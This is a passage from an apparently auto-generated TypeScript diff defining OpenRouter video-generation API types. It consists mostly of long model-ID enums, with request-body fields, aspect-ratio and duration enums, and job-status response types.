'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosAlibabaWan30PrimeRequestModelEnumKey = + (typeof openrouterPostVideosAlibabaWan30PrimeRequestModelEnum)[keyof typeof openrouterPostVideosAlibabaWan30PrimeRequestModelEnum] + +export const openrouterPostVideosAlibabaWan30PrimeRequestResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosAlibabaWan30PrimeRequestResolutionEnumKey = + (typeof openrouterPostVideosAlibabaWan30PrimeRequestResolutionEnum)[keyof typeof openrouterPostVideosAlibabaWan30PrimeRequestResolutionEnum] + +/** + * @description Alibaba: Wan 3.0 Prime (alibaba/wan-3.0-prime) — model-constrained video generation request. Wan 3.0 Prime is a fast-mode variant of [Wan 3.0](https://openrouter.ai/alibaba/wan-3.0) from Alibaba. It supports text-to-video and first-frame image-to-video generation. + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosAlibabaWan30PrimeBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosAlibabaWan30PrimeRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @example 8 + * @type number | undefined + */ + duration?: OpenrouterPostVideosAlibabaWan30PrimeRequestDurationEnumKey + /** + * @description Images to use as the first and/or last frame of the generated video. Each image must specify a frame_type of first_frame or last_frame. Frame types supported by this model: first_frame, last_frame. + * @type array | undefined + */ + frame_images?: FrameImage[] + /** + * @description Whether to generate audio alongside the video. Defaults to the endpoint's generate_audio capability flag, false if not set. + * @example true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosAlibabaWan30PrimeRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosAlibabaWan30PrimeRequestResolutionEnumKey + /** + * @description If specified, the generation will sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed for all providers. + * @type integer | undefined + */ + seed?: number + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosAlibabaWan30PrimeOptions = { + body: OpenrouterPostVideosAlibabaWan30PrimeBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosAlibabaWan30PrimeResponses = { + '200': OpenrouterPostVideosAlibabaWan30PrimeStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosAlibabaWan30PrimeResponse = + OpenrouterPostVideosAlibabaWan30PrimeStatus200 + +export const openrouterPostVideosBlackForestLabsFlux3VideoStatus200StatusEnum = + { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', + } as const + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoStatus200StatusEnumKey = + (typeof openrouterPostVideosBlackForestLabsFlux3VideoStatus200StatusEnum)[keyof typeof openrouterPostVideosBlackForestLabsFlux3VideoStatus200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosBlackForestLabsFlux3VideoStatus200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosBlackForestLabsFlux3VideoStatus200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosBlackForestLabsFlux3VideoRequestAspectRatioEnum = + { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + } as const + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoRequestAspectRatioEnumKey = + (typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestAspectRatioEnum)[keyof typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestAspectRatioEnum] + +export const openrouterPostVideosBlackForestLabsFlux3VideoRequestDurationEnum = + { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, + } as const + +export type OpenrouterPostVideosBlackForestLabsFlux3VideoRequestDurationEnumKey = + (typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestDurationEnum)[keyof typeof openrouterPostVideosBlackForestLabsFlux3VideoRequestDurationEnum] + +export const openrouterPostVideosBlackForestLabsFlux3VideoRequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 